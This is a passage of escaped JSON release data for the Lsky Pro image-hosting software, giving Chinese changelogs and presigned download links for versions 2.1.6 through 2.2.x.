\\u652f\\u6301\\u901a\\u8fc7\\u7ec8\\u7aef\\u547d\\u4ee4\\u66f4\\u6539\\u7528\\u6237\\u5bc6\\u7801\uff08\\u5305\\u542b\\u7ba1\\u7406\\u5458\uff09\\n- \\u652f\\u6301\\u7528\\u6237\\u7ba1\\u7406\\u4e2d\\u5220\\u9664\\u6307\\u5b9a\\u7528\\u6237\\u6240\\u6709\\u56fe\\u7247\\n- \\u652f\\u6301\\u8fdc\\u7a0b\\u4e0b\\u8f7d\\u56fe\\u7247\\u529f\\u80fd\\n- \\u589e\\u52a0\\u6309\\u94ae\\u70b9\\u51fb\\u52a8\\u4f5c\uff0c\\u63a7\\u5236\\u4e0a\\u4f20\\u6309\\u94ae\\u70b9\\u51fb\\u540e\\u6253\\u5f00\\u4e0a\\u4f20\\u961f\\u5217\\u6216\\u6587\\u4ef6\\u9009\\u62e9\\n- \\u91cd\\u5199 docker \\u811a\\u672c\uff0c\\u73b0\\u652f\\u6301\\u76f4\\u63a5\\u5bfc\\u5165\\u955c\\u50cf\\u5b89\\u88c5\uff0c\\u4e00\\u952e\\u542f\\u52a8\\n\\n### \\u4f18\\u5316\\n- \\u5220\\u9664\\u8fdd\\u89c4\\u8bb0\\u5f55\\u540c\\u65f6\\u6062\\u590d\\u56fe\\u7247\\u72b6\\u6001\\n- \\u6539\\u8fdb\\u540e\\u53f0\\u7ba1\\u7406\\u65e5\\u671f\\u663e\\u793a\\u683c\\u5f0f\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u5fae\\u4fe1\\u652f\\u4ed8\\u65e0\\u6cd5\\u663e\\u793a\\u652f\\u4ed8\\u4e8c\\u7ef4\\u7801\\u7684 bug\\n- \\u4fee\\u590d\\u76f8\\u518c\\u4e2d\\u7684\\u56fe\\u7247\\u5217\\u8868\\u9009\\u4e2d\\u540e\uff0c\\u64cd\\u4f5c\\u5217\\u4e0d\\u663e\\u793a\\u5220\\u9664\\u56fe\\u7247\\u6309\\u94ae\\u7684 bug\\n- \\u4fee\\u590d\\u4f7f\\u7528 mariadb \\u6570\\u636e\\u5e93\\u65f6\\u8bbf\\u95ee\\u540e\\u53f0\\u63a7\\u5236\\u53f0\\u62a5\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u63a5\\u53e3\\u4e0a\\u4f20\\u6ca1\\u6709\\u540e\\u7f00\\u540d\\u7684\\u6587\\u4ef6\uff0c\\u8fd4\\u56de\\u7684\\u94fe\\u63a5\\u4e5f\\u662f\\u6ca1\\u6709\\u540e\\u7f00\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2025-06-27&quot;,&quot;milestone&quot;:&quot;stable&quot;,&quot;download_url&quot;:&quot;https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.2.1.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20250818T141321Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=1800&amp;amp;X-Amz-Signature=ed3bf3338a76881c432bbab7c39720e1f6c131f317c931dade3ecbb9b787dc8e&quot;},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.2.0 \\u6b63\\u5f0f\\u7248\\u672c&quot;,&quot;version&quot;:&quot;2.2.0&quot;,&quot;changelog&quot;:&quot;### \\u65b0\\u589e\\n- \\u65b0\\u589e\\u90ae\\u4ef6\\u9a71\\u52a8\\u5668\\u589e\\u52a0\\u6d4b\\u8bd5\\u529f\\u80fd\\n- \\u65b0\\u589e\\u652f\\u6301\\u81ea\\u5b9a\\u4e49 css\\u3001js \\u4ee3\\u7801\uff08\\u52a8\\u6001\\u52a0\\u8f7d\uff09\\n- \\u65b0\\u589e\\u662f\\u5426\\u542f\\u7528\\u7ad9\\u70b9\\u5f00\\u5173\uff0c\\u6df7\\u5408\\u90e8\\u7f72\\u4e0b\\u53ef\\u63a7\\u5236\\u662f\\u5426\\u542f\\u7528\\u524d\\u7aef\uff08\\u4fdd\\u7559\\u63a5\\u53e3\\u53ef\\u7528\uff09\\n- \\u65b0\\u589e\\u62d6\\u62fd\\u56fe\\u7247\\u4e0a\\u4f20\\u529f\\u80fd\uff08\\u4efb\\u610f\\u9875\\u9762\uff09\\n- \\u65b0\\u589e\\u7cfb\\u7edf\\u4fe1\\u606f\\u7edf\\u8ba1\\u63a5\\u53e3\uff0c\\u53ef\\u901a\\u8fc7\\u540e\\u53f0\\u63a7\\u5236\\u662f\\u5426\\u542f\\u7528\uff08\\u652f\\u6301\\u8bbe\\u7f6e\\u63a5\\u53e3\\u8bbf\\u95ee\\u5bc6\\u94a5\uff09\\n- \\u65b0\\u589e\\u50a8\\u5b58\\u652f\\u6301\\u8bbe\\u7f6e\\u7f29\\u7565\\u56fe\\u6700\\u5927\\u5c3a\\u5bf8\\u548c\\u7f29\\u7565\\u56fe\\u8d28\\u91cf\uff08\\u65b0\\u4e0a\\u4f20\\u7684\\u56fe\\u7247\\u751f\\u6548\uff09\\n- \\u65b0\\u589e\\u961f\\u5217\\u5217\\u8868\\u7684\\u663e\\u793a\uff08\\u8fdb\\u884c\\u4e2d\\u3001\\u5f02\\u5e38\\u961f\\u5217\\u3001\\u6279\\u5904\\u7406\\u961f\\u5217\uff09\\n\\n### \\u4f18\\u5316\\n- \\u4f18\\u5316\\u50a8\\u5b58\\u79fb\\u9664\\u201ci\\u201d\\u524d\\u7f00\\u9650\\u5236\\n- \\u4f18\\u5316\\u5347\\u7ea7\\u524d\\u7aef\\u5de5\\u7a0b\\u5e93\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u65e7\\u7248\\u672c\\u8fc1\\u79fb\\u6570\\u636e\\u540e\\u65e7\\u8ba2\\u5355\\u91d1\\u989d\\u4e0d\\u6b63\\u786e\\u7684 bug\\n- \\u4fee\\u590d\\u65e7\\u7248\\u672c\\u8fc1\\u79fb\\u540e\\u7684\\u50a8\\u5b58\\u65e0\\u6cd5\\u4fee\\u6539\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u526f\\u6807\\u9898\\u8bbe\\u7f6e\\u4e0d\\u751f\\u6548\\u7684 bug\\n- \\u4fee\\u590d\\u56fe\\u7247\\u5355\\u9009\\u9009\\u62e9\\u65f6\uff0c\\u5176\\u4ed6\\u56fe\\u7247\\u4f1a\\u88ab\\u53d6\\u6d88\\u9009\\u62e9\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u4f18\\u60e0\\u5238\\u5217\\u8868\\u767e\\u5206\\u6bd4\\u4f18\\u60e0\\u5238\\u9762\\u503c\\u663e\\u793a\\u9519\\u8bef\\u7684 bug\\n- \\u4fee\\u590d\\u5fae\\u4fe1\\u652f\\u4ed8\\u914d\\u7f6e\\u540e\\u63d0\\u793a\\u201c\\u65e0\\u53ef\\u7528\\u7684\\u5e73\\u53f0\\u8bc1\\u4e66\\u201d\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2025-06-04&quot;,&quot;milestone&quot;:&quot;stable&quot;,&quot;download_url&quot;:&quot;https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.2.0.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20250818T141321Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=1800&amp;amp;X-Amz-Signature=3b60971f6f0930b43197832588f695d66c1f7964d2e413dc145b4eaac2926a3c&quot;},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.1.13 \\u6b63\\u5f0f\\u7248\\u672c&quot;,&quot;version&quot;:&quot;2.1.13&quot;,&quot;changelog&quot;:&quot;### \\u65b0\\u589e\\n- \\u652f\\u6301\\u7c98\\u8d34\\u4e0a\\u4f20\\n\\n### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u6570\\u636e\\u8fc1\\u79fb\\u811a\\u672c\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u89d2\\u8272\\u7ec4\\u8bbe\\u7f6e\\u300c\\u56fe\\u7247\\u5230\\u671f\\u65f6\\u95f4\\u300d\\u540e\\u4e0a\\u4f20\\u5931\\u8d25\\u7684 bug\\n- \\u4fee\\u590d {uid} \\u547d\\u540d\\u89c4\\u5219\\u4e0d\\u751f\\u6548\\u7684 bug\\n- \\u4fee\\u590d\\u963f\\u91cc\\u4e91\\u8bbe\\u7f6e\\u6839\\u76ee\\u5f55\\u540e\\u65e0\\u6cd5\\u4e0a\\u4f20\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2025-05-04&quot;,&quot;milestone&quot;:&quot;stable&quot;,&quot;download_url&quot;:&quot;https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.13.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20250818T141321Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=1800&amp;amp;X-Amz-Signature=e841f05ec45820148cfc55a4dea299d2325b1ef83fb6fc0a4207e695d1be6c36&quot;},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.1.12 \\u6b63\\u5f0f\\u7248\\u672c&quot;,&quot;version&quot;:&quot;2.1.12&quot;,&quot;changelog&quot;:&quot;### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u8d2d\\u4e70\\u8ba2\\u9605\\u59cb\\u7ec8\\u83b7\\u5f97\\u7684\\u662f\\u7b2c\\u4e00\\u4e2a\\u9636\\u68af\\u5957\\u9910\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2025-05-02&quot;,&quot;milestone&quot;:&quot;stable&quot;,&quot;download_url&quot;:&quot;https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.12.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20250818T141321Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=1800&amp;amp;X-Amz-Signature=1485234f5d17b7fc5d409d4611dba94c15594f88fc8118a09c67855d875ee510&quot;},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.1.11 \\u6b63\\u5f0f\\u7248\\u672c&quot;,&quot;version&quot;:&quot;2.1.11&quot;,&quot;changelog&quot;:&quot;### \\u65b0\\u589e\\n- \\u589e\\u52a0\\u3010\\u590d\\u5236\\u94fe\\u63a5\\u65f6\\u5bf9URL\\u8fdb\\u884c\\u7f16\\u7801\\u3011\\u8bbe\\u7f6e\\u9879\\n- \\u589e\\u52a0\\u3010\\u9009\\u62e9\\u56fe\\u7247\\u540e\\u7acb\\u523b\\u4e0a\\u4f20\\u3011\\u8bbe\\u7f6e\\u9879\\n- \\u56fe\\u7247\\u7ba1\\u7406\\u652f\\u6301\\u6279\\u91cf\\u8bbe\\u7f6e\\u56fe\\u7247\\u4fe1\\u606f\\n- \\u56fe\\u7247\\u7ba1\\u7406\\u652f\\u6301\\u5feb\\u6377\\u952e\\u591a\\u9009\\/\\u5168\\u9009\\n\\n### \\u4f18\\u5316\\n- \\u50a8\\u5b58\\u7b56\\u7565\\u652f\\u6301\\u8bbe\\u7f6e\\u6839\\u76ee\\u5f55\\n- \\u56fe\\u5f62\\u9a8c\\u8bc1\\u7801\\u4f7f\\u7528 imagick \\u62d3\\u5c55\\u751f\\u6210\\n- \\u6539\\u8fdb\\u56fe\\u7247\\u8f93\\u51fa\\u65b9\\u5f0f\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u5728\\u56fe\\u7247\\u7ba1\\u7406\\u9875\\u9762\\u590d\\u5236\\u94fe\\u63a5\\u4e3a\\u7f29\\u7565\\u56fe\\u800c\\u4e0d\\u662f\\u539f\\u56fe\\u7684 bug\\n- \\u4fee\\u590d ftp \\u50a8\\u5b58\\u4e0a\\u4f20\\u5f02\\u5e38\\u7684 bug\\n- \\u4fee\\u590d sftp \\u4e0a\\u4f20\\u5f02\\u5e38\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u5173\\u95ed\\u90ae\\u4ef6\\u9a8c\\u8bc1\uff0c\\u6ce8\\u518c\\u9875\\u9762\\u4f9d\\u65e7\\u9700\\u8981\\u9a8c\\u8bc1\\u7801\\u7684 bug\\n- \\u4fee\\u590d\\u56fe\\u7247\\u7ba1\\u7406\\u4e2d\\u590d\\u5236\\u56fe\\u7247\\u94fe\\u63a5\\u4e3a\\u7f29\\u7565\\u56fe\\u7684\\u94fe\\u63a5\\u7684 bug\\n- \\u4fee\\u590d\\u8d2d\\u4e70\\u4f1a\\u5458\\u5957\\u9910\\u540e\\u89d2\\u8272\\u7ec4\\u65e0\\u6cd5\\u6b63\\u5e38\\u5207\\u6362\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u7f16\\u8f91\\u7528\\u6237\\u7684\\u89d2\\u8272\\u7ec4\\u5bfc\\u81f4\\u7528\\u6237\\u51fa\\u73b0\\u91cd\\u590d\\u89d2\\u8272\\u7ec4\\u7684 bug\\n- \\u4fee\\u590d\\u65e7\\u7248\\u672c\\u63a5\\u53e3\\u517c\\u5bb9\\u6027\\u95ee\\u9898\\n- \\u4fee\\u590d\\u4f7f\\u7528 Postgres \\u6570\\u636e\\u5e93\\u5b89\\u88c5\\u62a5\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u5185\\u5bb9\\u5b89\\u5168\\u62e6\\u622a\\u56fe\\u7247\\u540e\uff0c\\u7269\\u7406\\u6587\\u4ef6\\u6ca1\\u6709\\u88ab\\u5220\\u9664\\u7684 bug\\n- \\u4fee\\u590d\\u6e38\\u5ba2\\u4e0a\\u4f20\\u56fe\\u7247\\u540e\\u4f1a\\u8df3\\u8f6c\\u5230\\u767b\\u5f55\\u9875\\u9762\\u7684 bug\\n- \\u4fee\\u590d\\u4e0a\\u4f20\\u91cd\\u590d\\u7684\\u56fe\\u7247(\\u6e38\\u5ba2\\u4e0a\\u4f20)\\u4f1a\\u5bfc\\u81f4\\u56fe\\u7247\\u6d89\\u5931\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2025-04-30&quot;,&quot;milestone&quot;:&quot;stable&quot;,&quot;download_url&quot;:&quot;https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.11.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20250818T141321Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=1800&amp;amp;X-Amz-Signature=4974021dea314e434545bbe7f87cd258524cfd947caf82f0b5cb83f47012d053&quot;},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.1.10 \\u6b63\\u5f0f\\u7248\\u672c&quot;,&quot;version&quot;:&quot;2.1.10&quot;,&quot;changelog&quot;:&quot;### \\u65b0\\u589e\\n- \\u50a8\\u5b58\\u9a71\\u52a8\\u5668\\u589e\\u52a0\\u6d4b\\u8bd5\\u529f\\u80fd\\n- \\u53d1\\u9001\\u9a8c\\u8bc1\\u7801\\u589e\\u52a0\\u56fe\\u5f62\\u9a8c\\u8bc1\\u529f\\u80fd\\n\\n### \\u4f18\\u5316\\n- \\u53bb\\u9664 APP_LICENSE_KEY \\u73af\\u5883\\u53d8\\u91cf\\u914d\\u7f6e\\n- \\u6539\\u8fdb docker \\u90e8\\u7f72\\u811a\\u672c\\n- \\u6539\\u8fdb\\u77ed\\u4fe1\\u9a8c\\u8bc1\\u7801\\u53d1\\u9001\\u903b\\u8f91\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u66f4\\u65b0\\u7cfb\\u7edf\\u65f6\\u6570\\u636e\\u5e93\\u66f4\\u65b0\\u547d\\u4ee4\\u6267\\u884c\\u5931\\u8d25\\u7684 bug\\n- \\u4fee\\u590d docker \\u90e8\\u7f72\\u540e\\u91cd\\u542f\\u5bb9\\u5668\\u5bfc\\u81f4\\u7cfb\\u7edf\\u5f02\\u5e38\\u7684 bug\\n- \\u4fee\\u590d\\u4f7f\\u7528\\u624b\\u673a\\u53f7\\u6ce8\\u518c\\u540e\\u767b\\u5f55\\u51fa\\u9519\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2025-04-29&quot;,&quot;milestone&quot;:&quot;stable&quot;,&quot;download_url&quot;:&quot;https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.10.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20250818T141321Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=1800&amp;amp;X-Amz-Signature=5dba6e6eb059e187d8713b90d0580f613666f10acbd24ec30aae47d1f7d87223&quot;},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.1.9 \\u9884\\u53d1\\u5e03\\u7248\\u672c&quot;,&quot;version&quot;:&quot;2.1.9.250428_rc.2&quot;,&quot;changelog&quot;:&quot;### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u5b89\\u88c5\\u811a\\u672c\\n- \\u6539\\u8fdb\\u6570\\u636e\\u8fc1\\u79fb\\u811a\\u672c\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u793e\\u4f1a\\u5316\\u767b\\u5f55(QQ)\\u65e0\\u6cd5\\u4f7f\\u7528\\u7684 bug\\n- \\u4fee\\u590d\\u81ea\\u5b9a\\u4e49\\u9875\\u9762\\u5207\\u6362\\u65e0\\u6548\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2025-04-28&quot;,&quot;milestone&quot;:&quot;rc&quot;,&quot;download_url&quot;:&quot;https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.9.250428_rc.2.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20250818T141321Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=1800&amp;amp;X-Amz-Signature=0c7e2012d156debf523bfb7e71cc4162e4f9ddfe4cc0dfcc581e01e15e3a13ac&quot;},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.1.7 \\u9884\\u53d1\\u5e03\\u7248\\u672c&quot;,&quot;version&quot;:&quot;2.1.8.250428_rc.1&quot;,&quot;changelog&quot;:&quot;### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u4e0a\\u4f20\\u540e\\u65e5\\u5fd7\\u663e\\u793a\\n- docker \\u90e8\\u7f72\\u9ed8\\u8ba4\\u4f7f\\u7528 mysql 8.0\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u540e\\u53f0\\u793e\\u4f1a\\u5316\\u767b\\u5f55\\u9a71\\u52a8\\u8868\\u5355\\u4e0d\\u663e\\u793a\\u56de\\u8c03\\u5730\\u5740\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u8fd0\\u884c\\u6e38\\u5ba2\\u4e0a\\u4f20\\u4f46\\u6e38\\u5ba2\\u65e0\\u6cd5\\u4e0a\\u4f20\\u56fe\\u7247\\u7684 bug\\n- \\u4fee\\u590d\\u5728 debian12 \\u7cfb\\u7edf\\u4e0b docker \\u90e8\\u7f72\\u811a\\u672c\\u627e\\u4e0d\\u5230 docker \\u547d\\u4ee4\\u7684 bug\\n- \\u4fee\\u590d\\u4f7f\\u7528 docker \\u90e8\\u7f72\uff0chttps \\u53cd\\u4ee3\\u540e\\u8bbf\\u95ee\\u540e\\u53f0\\u6837\\u5f0f\\u5f02\\u5e38\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2025-04-28&quot;,&quot;milestone&quot;:&quot;rc&quot;,&quot;download_url&quot;:&quot;https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.8.250428_rc.1.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20250818T141321Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=1800&amp;amp;X-Amz-Signature=5330cee1c6f0a2351a1271c7371d56f7a2ebddc3b2a2fa9ffb03bb53418a1ff6&quot;},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.1.7 \\u516c\\u6d4b\\u7248\\u672c&quot;,&quot;version&quot;:&quot;2.1.7.250413_beta&quot;,&quot;changelog&quot;:&quot;### \\u65b0\\u589e\\n- Token\uff08\\u4ee4\\u724c\uff09\\u652f\\u6301\\u5206\\u914d\\u6743\\u9650\\n- \\u589e\\u52a0 docker \\u4e00\\u952e\\u90e8\\u7f72\\u811a\\u672c\\n- \\u5168\\u65b0\\u7684\\u4e0a\\u4f20\\u9875\\u9762\\u548c\\u4ea4\\u4e92\\n\\n### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u5b89\\u88c5\\u811a\\u672c\\n- \\u6539\\u8fdb\\u8ba2\\u9605\\u8d2d\\u4e70\\u9875\\u9762\\n- \\u4fee\\u6539\\u7a0b\\u5e8f\\u6388\\u6743\\u65b9\\u5f0f\\n- \\u6539\\u8fdb\\u66f4\\u65b0\\u903b\\u8f91\\n- \\u540e\\u53f0\\u56fe\\u7247\\u5217\\u8868\\u589e\\u52a0\\u56fe\\u7247\\u72b6\\u6001\\u7684\\u663e\\u793a\uff08\\u6b63\\u5e38\\u6216\\u8fdd\\u89c4\uff09\\n- \\u9a8c\\u8bc1\\u7801\\u53d1\\u9001\\u63a5\\u53e3\\u589e\\u52a0\\u9650\\u6d41\\n- \\u524d\\u7aef\\u589e\\u52a0\\u9a8c\\u8bc1\\u90ae\\u7bb1\\u3001\\u624b\\u673a\\u53f7\\u7684\\u9875\\u9762\\n- \\u6539\\u8fdb\\u90ae\\u4ef6\\u53d1\\u9001\\u65b9\\u5f0f\\n- \\u90ae\\u4ef6\\u9a71\\u52a8\\u652f\\u6301\\u8bbe\\u7f6e\\u72ec\\u7acb\\u7684\\u53d1\\u4ef6\\u4eba\\u4fe1\\u606f\\n- \\u6539\\u8fdb\\u77ed\\u4fe1\\u7cfb\\u7edf\\n- \\u4fa7\\u8fb9\\u680f\\u589e\\u52a0\\u300c\\u4e2a\\u4eba\\u8d44\\u6599\\u300d\\u5165\\u53e3\\n- \\u5b8c\\u5584\\u56fd\\u9645\\u5316\\u7ffb\\u8bd1\\n- \\u4f18\\u5316\\u524d\\u7aef\\u52a0\\u8f7d\\u6027\\u80fd\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u5728\\u767b\\u5f55\\u60c5\\u51b5\\u4e0b\uff0c\\u7cfb\\u7edf\\u5173\\u95ed\\u6e38\\u5ba2\\u4e0a\\u4f20\\u4f1a\\u63d0\\u793a\\u4e0d\\u652f\\u6301\\u6e38\\u5ba2\\u4e0a\\u4f20\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u7ba1\\u7406\\u4e2d\\u50a8\\u5b58\\u65e0\\u6cd5\\u5220\\u9664\\u7684 bug\\n- \\u4fee\\u590d\\u8d2d\\u4e70\\u4f1a\\u5458\\u5957\\u9910\\u540e\uff0c\\u4e0d\\u663e\\u793a\\u8be5\\u4f1a\\u5458\\u5e94\\u7528\\u7684\\u50a8\\u5b58\\u7684 bug\\n- \\u4fee\\u590d nsfwjs \\u56fe\\u7247\\u5b89\\u5168\\u670d\\u52a1\\u65e0\\u6cd5\\u6b63\\u5e38\\u4f7f\\u7528\\u7684 bug\\n- \\u4fee\\u590d\\u90ae\\u4ef6\\u53d1\\u9001\\u4fee\\u6539\\u4e86\\u914d\\u7f6e\\u540e\uff0c\\u91cd\\u542f\\u624d\\u4f1a\\u751f\\u6548\\u7684 bug\\n- \\u4fee\\u590d\\u56fe\\u7247\\u7ba1\\u7406\\u5220\\u9664\\u56fe\\u7247\\u51fa\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u76f8\\u518c\\u8be6\\u60c5\\u65e0\\u6cd5\\u5206\\u4eab\\u56fe\\u7247\\u7684 bug\\n- \\u4fee\\u590d\\u4e0a\\u4f20\\u56fe\\u7247\\u540e\uff0c\\u5bf9\\u5e94\\u4f4d\\u7f6e\\u7684\\u6570\\u636e\\u6ca1\\u6709\\u5b9e\\u65f6\\u66f4\\u65b0\\u7684 bug\\n- \\u4fee\\u590d\\u6253\\u5f00\\u300c\\u663e\\u793a\\u539f\\u59cb\\u7167\\u7247\\u300d\\u9009\\u9879\\u540e\\u5217\\u8868\\u9884\\u89c8\\u56fe\\u7247\\u53d8\\u5f97\\u66f4\\u6a21\\u7cca\\u7684 bug\\n- \\u4fee\\u590d\\u5217\\u8868\\u7f29\\u7565\\u56fe\\u6253\\u5f00\\u5927\\u56fe\\u663e\\u793a\\u7684\\u4e0d\\u662f\\u539f\\u56fe\\u7684 bug\\n- \\u4fee\\u590d\\u56fe\\u7247\\u7ba1\\u7406\\u4e2d\\u5220\\u9664\\u56fe\\u7247\\u540e\\u4fa7\\u8fb9\\u680f\\u5bb9\\u91cf\\u672a\\u66f4\\u65b0\\u7684 bug\\n\\n### FAQ\\n- \\u672c\\u6b21\\u66f4\\u65b0\\u9700\\u8981\\u5728\\u66f4\\u65b0\\u540e\\u8fdb\\u5165\\u5f53\\u524d\\u6570\\u636e\\u5e93\\u6267\\u884c\uff1a\`UPDATE \`settings\` SET \`name\` = &apos;license_key&apos; WHERE \`settings\`.\`name\` = &apos;serial_no&apos;;\`\uff0c\\u5426\\u5219\\u7cfb\\u7edf\\u53ef\\u80fd\\u4f1a\\u51fa\\u73b0 500 \\u9519\\u8bef\\u3002\\n&quot;,&quot;pushed_at&quot;:&quot;2025-04-13&quot;,&quot;milestone&quot;:&quot;beta&quot;,&quot;download_url&quot;:&quot;https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.7.250413_beta.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20250818T141321Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=1800&amp;amp;X-Amz-Signature=081b0e9846ba69770e78af53b29080d62eee5c8ccb75286a3b5d6e2eea6fa346&quot;},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.1.6 \\u516c\\u6d4b\\u7248\\u672c&quot;,&quot;version&quot;:&quot;2.1.6.250317_beta&quot;,&quot;changelog&quot;:&quot;### \\u65b0\\u589e\\n- \\u6dfb\\u52a0\\u5bf9 libvips \\u56fe\\u7247\\u5904\\u7406\\u9a71\\u52a8\\u7684\\u652f\\u6301\\n- \\u652f\\u6301\\u7528\\u6237\\u63a7\\u5236\\u5217\\u8868\\u663e\\u793a\\u539f\\u59cb\\u56fe\\u7247\\u800c\\u4e0d\\u662f\\u7f29\\u7565\\u56fe\\n\\n### \\u6539\\u8fdb\\n- \\u540e\\u53f0\\u652f\\u6301\\u5207\\u6362\\u56fe\\u7247\\u5904\\u7406\\u5668(Imagick\\u3001Libvips)\\n- \\u6539\\u8fdb\\u5b89\\u88c5\\u811a\\u672c\\n- \\u963f\\u91cc\\u4e91\\u5185\\u5bb9\\u5b89\\u5168\\u589e\\u5f3a\\u7248 service \\u53ef\\u81ea\\u5b9a\\u4e49\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u7528\\u6237\\u6ce8\\u518c\\u51fa\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u4ece\\u65e7\\u7248\\u672c\\u8fc1\\u79fb\\u7684\\u6570\\u636e\uff0c\\u6587\\u4ef6\\u8def\\u5f84\\u4e0d\\u6b63\\u786e\\u7684 bug\\n- 